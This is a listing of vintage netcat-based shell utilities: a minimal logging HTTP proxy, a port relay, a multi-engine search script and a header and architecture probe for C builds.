# ISMAP imagemap stuff: /bin/foobar.map?xxx,yyy -- have to guess at coords!
# local access-ctl files: ncsa: .htaccess ; cern: .www_acl
#######
# SEARCH ENGINES: fortunately, all are GET forms or at least work that way...
# multi-word args for most cases: foo+bar
# See 'websearch' for concise results of this research...

138
scripts/webproxy Executable file
View File

@ -0,0 +1,138 @@
#! /bin/sh
## Web proxy, following the grand tradition of Web things being handled by
## gross scripts. Uses netcat to listen on a high port [default 8000],
## picks apart requests and sends them on to the right place. Point this
## at the browser client machine you'll be coming from [to limit access to
## only it], and point the browser's concept of an HTTP proxy to the
## machine running this. Takes a single argument of the client that will
## be using it, and rejects connections from elsewhere. LOGS the queries
## to a configurable logfile, which can be an interesting read later on!
## If the argument is "reset", the listener and logfile are cleaned up.
##
## This works surprisingly fast and well, for a shell script, although may
## randomly fail when hammered by a browser that tries to open several
## connections at once. Drop the "maximum connections" in your browser if
## this is a problem.
##
## A more degenerate case of this, or preferably a small C program that
## does the same thing under inetd, could handle a small site's worth of
## proxy queries. Given the way browsers are evolving, proxies like this
## can play an important role in protecting your own privacy.
##
## If you grabbed this in ASCII mode, search down for "eew" and make sure
## the embedded-CR check is intact, or requests might hang.
##
## Doesn't handle POST forms. Who cares, if you're just watching HTTV?
## Dumbness here has a highly desirable side effect: it only sends the first
## GET line, since that's all you really ever need to send, and suppresses
## the other somewhat revealing trash that most browsers insist on sending.
# set these as you wish: proxy port...
PORT=8000
# logfile spec: a real file or /dev/null if you don't care
LFILE=${0}.log
# optional: where to dump connect info, so you can see if anything went wrong
# CFILE=${0}.conn
# optional extra args to the listener "nc", for instance "-s inside-net-addr"
# XNC=''
# functionality switch has to be done fast, so the next listener can start
# prelaunch check: if no current client and no args, bail.
case "${1}${CLIENT}" in
"")
echo needs client hostname
exit 1
;;
esac
case "${1}" in
"")
# Make like inetd, and run the next relayer process NOW. All the redirection
# is necessary so this shell has NO remaining channel open to the net.
# This will hang around for 10 minutes, and exit if no new connections arrive.
# Using -n for speed, avoiding any DNS/port lookups.
nc -w 600 -n -l -p $PORT -e "$0" $XNC "$CLIENT" < /dev/null > /dev/null \
2> $CFILE &
;;
esac
# no client yet and had an arg, this checking can be much slower now
umask 077
if test "$1" ; then
# if magic arg, just clean up and then hit our own port to cause server exit
if test "$1" = "reset" ; then
rm -f $LFILE
test -f "$CFILE" && rm -f $CFILE
nc -w 1 -n 127.0.0.1 $PORT < /dev/null > /dev/null 2>&1
exit 0
fi
# find our ass with both hands
test ! -f "$0" && echo "Oops, cannot find my own corporeal being" && exit 1
# correct launch: set up client access control, passed along thru environment.
CLIENT="$1"
export CLIENT
test "$CFILE" || CFILE=/dev/null
export CFILE
touch "$CFILE"
# tell us what happened during the last run, if possible
if test -f "$CFILE" ; then
echo "Last connection results:"
cat $CFILE
fi
# ping client machine and get its bare IP address
CLIENT=`nc -z -v -w 8 "$1" 22000 2>&1 | sed 's/.*\[\(..*\)\].*/\1/'`
test ! "$CLIENT" && echo "Can't find address of $1" && exit 1
# if this was an initial launch, be informative about it
echo "=== Launch: $CLIENT" >> $LFILE
echo "Proxy running -- will accept connections on $PORT from $CLIENT"
echo " Logging queries to $LFILE"
test -f "$CFILE" && echo " and connection fuckups to $CFILE"
# and run the first listener, showing us output just for the first hit
nc -v -w 600 -n -l -p $PORT -e "$0" $XNC "$CLIENT" &
exit 0
fi
# Fall here to handle a page.
# GET type://host.name:80/file/path HTTP/1.0
# Additional: trash
# More: trash
# <newline>
read x1 x2 x3 x4
echo "=== query: $x1 $x2 $x3 $x4" >> $LFILE
test "$x4" && echo "extra junk after request: $x4" && exit 0
# nuke questionable characters and split up the request
hurl=`echo "$x2" | sed -e "s+.*//++" -e 's+[\`'\''|$;<>{}\\!*()"]++g'`
# echo massaged hurl: $hurl >> $LFILE
hh=`echo "$hurl" | sed -e "s+/.*++" -e "s+:.*++"`
hp=`echo "$hurl" | sed -e "s+.*:++" -e "s+/.*++"`
test "$hp" = "$hh" && hp=80
hf=`echo "$hurl" | sed -e "s+[^/]*++"`
# echo total split: $hh : $hp : $hf >> $LFILE
# suck in and log the entire request, because we're curious
# Fails on multipart stuff like forms; oh well...
if test "$x3" ; then
while read xx ; do
echo "${xx}" >> $LFILE
test "${xx}" || break
# eew, buried returns, gross but necessary for DOS stupidity:
test "${xx}" = " " && break
done
fi
# check for non-GET *after* we log the query...
test "$x1" != "GET" && echo "sorry, this proxy only does GETs" && exit 0
# no, you can *not* phone home, you miserable piece of shit
test "`echo $hh | fgrep -i netscap`" && \
echo "access to Netscam's servers <b>DENIED.</b>" && exit 0
# Do it. 30 sec net-wait time oughta be *plenty*...
# Some braindead servers have forgotten how to handle the simple-query syntax.
# If necessary, replace below with (echo "$x1 $hf" ; echo '') | nc...
echo "$x1 $hf" | nc -w 30 "$hh" "$hp" 2> /dev/null || \
echo "oops, can't get to $hh : $hp".
echo "sent \"$x1 $hf\" to $hh : $hp" >> $LFILE
exit 0

44
scripts/webrelay Executable file
View File

@ -0,0 +1,44 @@
#! /bin/sh
## web relay -- a degenerate version of webproxy, usable with browsers that
## don't understand proxies. This just forwards connections to a given server.
## No query logging, no access control [although you can add it to XNC for
## your own run], and full-URL links will undoubtedly confuse the browser
## if it can't reach the server directly. This was actually written before
## the full proxy was, and it shows.
## The arguments in this case are the destination server and optional port.
## Please flame pinheads who use self-referential absolute links.
# set these as you wish: proxy port...
PORT=8000
# any extra args to the listening "nc", for instance "-s inside-net-addr"
XNC=''
# functionality switch, which has to be done fast to start the next listener
case "${1}${RDEST}" in
"")
echo needs hostname
exit 1
;;
esac
case "${1}" in
"")
# no args: fire off new relayer process NOW. Will hang around for 10 minutes
nc -w 600 -l -n -p $PORT -e "$0" $XNC < /dev/null > /dev/null 2>&1 &
# and handle this request, which will simply fail if vars not set yet.
exec nc -w 15 $RDEST $RPORT
;;
esac
# Fall here for setup; this can now be slower.
RDEST="$1"
RPORT="$2"
test "$RPORT" || RPORT=80
export RDEST RPORT
# Launch the first relayer same as above, but let its error msgs show up
# will hang around for a minute, and exit if no new connections arrive.
nc -v -w 600 -l -p $PORT -e "$0" $XNC < /dev/null > /dev/null &
echo \
"Relay to ${RDEST}:${RPORT} running -- point your browser here on port $PORT"
exit 0

77
scripts/websearch Executable file
View File

@ -0,0 +1,77 @@
#! /bin/sh
## Hit the major search engines. Hose the [large] output to a file!
## autoconverts multiple arguments into the right format for given servers --
## usually worda+wordb, with certain lame exceptions like dejanews.
## Extracting and post-sorting the URLs is highly recommended...
##
## Altavista currently handled by a separate script; may merge at some point.
##
## _H* original 950824, updated 951218 and 960209
test "${1}" = "" && echo 'Needs argument[s] to search for!' && exit 1
PLUSARG="`echo $* | sed 's/ /+/g'`"
PIPEARG="`echo ${PLUSARG} | sed 's/+/|/g'`"
IFILE=/tmp/.webq.$$
# Don't have "nc"? Get "netcat" from avian.org and add it to your toolkit.
doquery () {
echo GET "$1" | nc -v -i 1 -w 30 "$2" "$3"
}
# changed since original: now supplying port numbers and separator lines...
echo "=== Yahoo ==="
doquery "/bin/search?p=${PLUSARG}&n=300&w=w&s=a" search.yahoo.com 80
echo '' ; echo "=== Webcrawler ==="
doquery "/cgi-bin/WebQuery?searchText=${PLUSARG}&maxHits=300" webcrawler.com 80
# the infoseek lamers want "registration" before they do a real search, but...
echo '' ; echo "=== Infoseek ==="
echo " is broken."
# doquery "WW/IS/Titles?qt=${PLUSARG}" www2.infoseek.com 80
# ... which doesn't work cuz their lame server wants the extra newlines, WITH
# CRLF pairs ferkrissake. Fuck 'em for now, they're hopelessly broken. If
# you want to play, the basic idea and query formats follow.
# echo "GET /WW/IS/Titles?qt=${PLUSARG}" > $IFILE
# echo "" >> $IFILE
# nc -v -w 30 guide-p.infoseek.com 80 < $IFILE
# this is kinda flakey; might have to do twice??
echo '' ; echo "=== Opentext ==="
doquery "/omw/simplesearch?SearchFor=${PLUSARG}&mode=phrase" \
search.opentext.com 80
# looks like inktomi will only take hits=100, or defaults back to 30
# we try to suppress all the stupid rating dots here, too
echo '' ; echo "=== Inktomi ==="
doquery "/query/?query=${PLUSARG}&hits=100" ink3.cs.berkeley.edu 1234 | \
sed '/^<IMG ALT.*inktomi.*\.gif">$/d'
#djnews lame shit limits hits to 120 and has nonstandard format
echo '' ; echo "=== Dejanews ==="
doquery "/cgi-bin/nph-dnquery?query=${PIPEARG}+maxhits=110+format=terse+defaultOp=AND" \
smithers.dejanews.com 80
# OLD lycos: used to work until they fucking BROKE it...
# doquery "/cgi-bin/pursuit?query=${PLUSARG}&maxhits=300&terse=1" \
# query5.lycos.cs.cmu.edu 80
# NEW lycos: wants the User-agent field present in query or it returns nothing
# 960206: webmaster@lycos duly bitched at
# 960208: reply received; here's how we will now handle it:
echo \
"GET /cgi-bin/pursuit?query=${PLUSARG}&maxhits=300&terse=terse&matchmode=and&minscore=.5 HTTP/1.x" \
> $IFILE
echo "User-agent: *FUCK OFF*" >> $IFILE
echo "Why: go ask todd@pointcom.com (Todd Whitney)" >> $IFILE
echo '' >> $IFILE
echo '' ; echo "=== Lycos ==="
nc -v -i 1 -w 30 twelve.srv.lycos.com 80 < $IFILE
rm -f $IFILE
exit 0
# CURRENTLY BROKEN [?]
# infoseek
# some args need to be redone to ensure whatever "and" mode applies

464
stupidh Executable file
View File

@ -0,0 +1,464 @@
#! /bin/sh
##
## Find stupid system include dependencies and account for them. Squirts
## a sample .h file to stdout containing [too many of] the right things.
## If you hose the output into "stupid.h", you will get MORE information.
## This takes a while to run, because it checks so many things.
##
## IF YOU HAVE a system/arch/compiler/whatever that is NOT one of:
## msdos-msc6.x ultrix-vax ultrix-mips sunos4.1.x-sparc solaris2.x-sparc
## aix-rs6k linux1.[01].x-x86 freebsd-x86 netbsd-x86 hpux
## [... hopefully this list will grow very large]
## or even if you aren't sure, you would be doing me and the net in general
## a wonderful service by running this and MAILING me the "full" output, e.g.
##
## chmod +x stupidh
## ./stupidh > stupid.h
## mail hobbit@avian.org < stupid.h
##
## WARNING: You may have to change "cc" to "gcc" below if you don't have
## "cc" [e.g. solaris, thank you very fucking much, Sun].
## Please note any errors this generates, too...
##
## *Hobbit*, 941122 and previous. VERSION: 1.3 951107
##
## edits: Use a consistent naming scheme, for easier identification and cleanup.
## accomodate gcc's BOGUS assumptions based on input filename.
## added a few more include-names and try-predefines; some swiped from autoconf.
## added a couple of things commonly done as #defines so we can SEE 'em
## Here is where to change "cc" to "gcc" if needed:
CC=cc
if test -z "${INCLUDE}" ; then
INCLUDE=/usr/include
fi
echo '/* STUPIDH run:'
uname -a
echo '*/'
echo ''
echo "/* Includes, from ${INCLUDE} */"
for xx in \
assert ctype cdefs errno file fcntl ioctl malloc stdio stdlib stdarg iostdio \
stddef dirent direct dir ndir utmp wtmp utmpx wtmpx lastlog login paths \
getopt string strings signal setjmp io param stat types time timeb utime \
dos msdos unistd socket netdb varargs sysinfo systeminfo resource ulimit \
stream stropts pstat sysmacros termio termios sgtty tty ttyent lstat select \
sockio wait vfork bsdtypes mkdev utsname sysexits \
; do
XX=''
if test -f ${INCLUDE}/${xx}.h ; then
echo "#include <${xx}.h>"
XX=`echo $xx | tr '[a-z]' '[A-Z]'`
fi
if test -f ${INCLUDE}/sys/${xx}.h ; then
echo "#include <sys/${xx}.h>"
XX=`echo $xx | tr '[a-z]' '[A-Z]'`
fi
# everyone seems to have their own conventions; this may not be complete.
# thats why this is so STUPID.
# HAS_xx and USE_xx might indicate functions and available library calls,
# not includes. Deal...
if test "${XX}" ; then
echo "#define USE_${XX}_H"
echo "#define HAS_${XX}_H"
echo "#define HAS_${XX}"
echo "#define HAS${XX}"
echo "#define HAVE_${XX}_H"
echo "#define HAVE_${XX}"
echo "#define HAVE${XX}H"
echo "#define ${XX}H"
echo ''
fi
# Stupid hack: "dir" and "dirent" might mutually exclusive, a la GNU
# includes. This is to prevent it from biting us.
if test "${xx}" = "dirent" ; then
echo "#ifdef _SYS_DIRENT_H"
echo "#undef _SYS_DIRENT_H"
echo "#endif"
fi
### To make a DOS batchfile instead, do this [on a unix box!], xfer results,
### and have "xxx.bat" that types out all the cruft for %INCLUDE%\%1.
### WARNING: I might not have gotten the superquoting exactly right here...
# echo "if exist %INCLUDE%\\${xx}.h call xxx ${xx}"
# echo "if exist %INCLUDE%\\sys\\${xx}.h call xxx sys/${xx}"
### You also need to save and manually run the CPP input file, below.
### I've done this for msc6 and would appreciate results for other compilers.
done
sync
sleep 1
### Note: if all the previous output went to "stupid.h", it will be
### reincluded in the second part of this.
sed -e '/^#/d' -e '/^[ ]*$/d' > st00pid.in << 'EOF'
### More recently, some of this was swiped from the "gcc" doc. Autoconf is
### worth a harder look for more ideas; havent gotten around to it yet.
# architectures
alpha
dec
ibm
i370
i960
i860
ibm032
a29k
indigo
iris
mips
mipsel
sparc
sparclite
ncr
sh
harris
apple
vax
x86
ix86
i286
i386
i486
i586
pentium
intel
smp
mpu
mpu8080
mpu8086
amiga
hp
hppa
hp400
hp9000
snake
decmips
mc68000
mc68010
mc68020
mc68030
m68000
m68010
m68020
m68030
m68k
m88k
u3b15
u3b
u3b2
u3b5
u3b15
u3b20d
we32k
ppc
powerpc
arm
aviion
ns32000
iapx286
# minor exception to lc-vs-uc thing?
iAPX286
rs6000
rs6k
risc
sun
sun3
sun4
sun4c
sun4m
sequent
apollo
solbourne
pyr
pyramid
interdata
intertec
pdp11
u370
next
mac
macintosh
# for completeness; ya never know ... yes, found it!! -- solaris inet/common.h
big_endian
little_endian
lsbfirst
msbfirst
# vendors/OSes
unix
munix
m_unix
gcos
os
gssc
tss
isc
# *This* pair of imbeciles does *caseified defines*. Pinheads. One of
# these might trigger before the "tr" step.
NetBSD
netbsd
freebsd
FreeBSD
# cant do 386bsd, I dont think, but ...
_386bsd
bsd386
bsdunix
bsd_2
bsd_20
bsd
bsdi
bsd4
bsd42
bsd43
bsd44
bsd4_2
bsd4_3
bsd4_4
linux
minix
ultrix
ult3
ult4
bull
convex
convex_source
res
rt
esix
dg
dgux
encore
osf
osf1
osf2
# oops:
# osf/1
mach
mach386
mach_386
nextstep
tahoe
reno
sunos
sunos3
sunos4
sunos5
solaris
sun_src_compat
svr3
svr4
svr3_style
svr4_style
sysv
hpux
hp_ux
irix
sgi
sony
news
newsos
news_os
luna
lynxos
riscos
microport
ewsux
ews_ux
mport
dynix
genix
unicos
unixware
msdos
dos
os2
novell
univel
plan9
att
att_unix
sco
odt
aix
aux
a_ux
rsx
vms
# compiler cruft??
ansi
ansi_source
ansic
stdc
lint
sccs
libc_sccs
ms
msc
microsoft
gcc
gnu
gnuc
gnucc
gnu_source
sabre
saber
cygnus
source
all_source
gprof
prof
posix
posix_source
posix_sources
posix_c_source
xopen_source
args
p
proto
no_proto
prototype
prototypes
reentrant
kernel
str
trace
asm
libcpp
athena
athena_compat
# some preprocessors cant deal with this
# c++
cxx
cplusplus
borland
turbo
turboc
lattice
highc
# various defines that pop out of other .h files that we need to know about
index
strchr
rindex
strrchr
bcopy
memcpy
bzero
memset
path_login
path_lastlog
path_utmp
path_utmpx
EOF
# FL must be named something.c, so STUPID gcc recognized it as a non-object!!
( FL=st00pid.c
if test -f stupid.h ; then
cp stupid.h $FL
sync
echo '/* Re-including stupid.h */'
sleep 1
else
echo '/* Skipping stupid.h */'
fi
while read xx ; do
XX=`echo $xx | tr '[a-z]' '[A-Z]'`
echo "#ifdef ${xx}" >> $FL
echo "\"${xx}\" = ${xx}" >> $FL
echo "#endif" >> $FL
echo "#ifdef _${xx}" >> $FL
echo "\"_${xx}\" = _${xx}" >> $FL
echo "#endif" >> $FL
echo "#ifdef _${xx}_" >> $FL
echo "\"_${xx}_\" = _${xx}_" >> $FL
echo "#endif" >> $FL
echo "#ifdef __${xx}" >> $FL
echo "\"__${xx}\" = __${xx}" >> $FL
echo "#endif" >> $FL
echo "#ifdef __${xx}__" >> $FL
echo "\"__${xx}__\" = __${xx}__" >> $FL
echo "#endif" >> $FL
echo "#ifdef ${XX}" >> $FL
echo "\"${XX}\" = ${XX}" >> $FL
echo "#endif" >> $FL
echo "#ifdef _${XX}" >> $FL
echo "\"_${XX}\" = _${XX}" >> $FL
echo "#endif" >> $FL
echo "#ifdef _${XX}_" >> $FL
echo "\"_${XX}_\" = _${XX}_" >> $FL
echo "#endif" >> $FL
echo "#ifdef __${XX}" >> $FL
echo "\"__${XX}\" = __${XX}" >> $FL
echo "#endif" >> $FL
echo "#ifdef __${XX}__" >> $FL
echo "\"__${XX}__\" = __${XX}__" >> $FL
echo "#endif" >> $FL
done
# and pick up a few specials
echo "#ifdef major" >> $FL
echo "\"major\" = major (x)" >> $FL
echo "\"minor\" = minor (x)" >> $FL
echo "#endif" >> $FL
echo "#ifdef FD_SETSIZE" >> $FL
echo "\"FD_SETSIZE\" = FD_SETSIZE" >> $FL
echo "#endif" >> $FL
) < st00pid.in
sync
echo '/* Compiler predefines:'
${CC} -E st00pid.c | sed -e '/^#/d' -e '/^[ ]*$/d'
echo '*/'
sync
cat > st00pid.c << 'EOF'
#include <stdio.h>
main() {
union {
char *bletch;
int *i;
} yow;
static char orig[16];
strcpy (orig, "ABCDEFGHIJK");
yow.bletch = orig;
printf ("endian thing: %s = 0x%lx, addrbyte = %x -- ",
yow.bletch, *yow.i, *yow.i & 0xFF);
printf (((*yow.i & 0xff) == 0x41) ? "LITTLE\n" : "BIG\n");
printf ("short %d; int %d; long %d\n",
sizeof (short), sizeof (int), sizeof (long));
}
EOF
${CC} -o st00pid.x st00pid.c
echo '/* Architecture:'
./st00pid.x
echo '*/'
### dont nuke if generating DOS batchfiles
rm -f st00pid.*
sync
exit 0
### stuff remaining to deal with:
# maybe take out the slew of HAS_* and HAS* excess predefines, and only use
# our "standardized" scheme [like we were going to generate a real includible
# file outa this??]
# various POSIX_ME_HARDERisms:
# vfork
# lockf/flock/fcntl/euuugh
# signal stuff
# termio/termios/sgtty hair
# strdup and related
# ifdef HAVE_STD_LIB and such nonsense
# auto-sniff cc-vs-gcc somehow? maybe a straight OR with exit statii..